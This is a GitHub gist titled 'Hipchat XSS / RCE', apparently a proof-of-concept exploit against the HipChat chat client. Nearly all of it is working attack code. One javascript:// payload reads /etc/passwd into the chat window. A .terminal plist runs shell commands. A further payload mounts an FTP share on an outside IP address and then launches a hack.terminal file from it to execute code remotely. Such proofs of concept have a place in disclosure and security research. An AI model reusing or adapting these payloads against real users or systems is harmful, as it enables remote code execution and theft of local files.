Skip to content

Instantly share code, notes, and snippets.

@matt-
Last active February 22, 2019 02:49
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save matt-/cb7714383e4a3688669b to your computer and use it in GitHub Desktop.
Save matt-/cb7714383e4a3688669b to your computer and use it in GitHub Desktop.
Hipchat XSS / RCE
javascript://comment[\r\n]
r=new XMLHttpRequest();
r.open('GET','file:///etc/passwd',false);
r.send(null);
document.getElementById('chat_text').innerHTML=r.responseText;
<dict>
<key>WindowTitle</key>
<string>Hacked!!!</string>
<key>CommandString</key>
<string>
cat /etc/passwd;
osascript -e 'display dialog "You just got hacked!"'
</string>
...
javascript://comment
location.href="ftp://anonymous:x@104.131.88.251/";
window.setTimeout(function(){location.href="file:///Volumes/104.131.88.251/hack.terminal";},5000)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment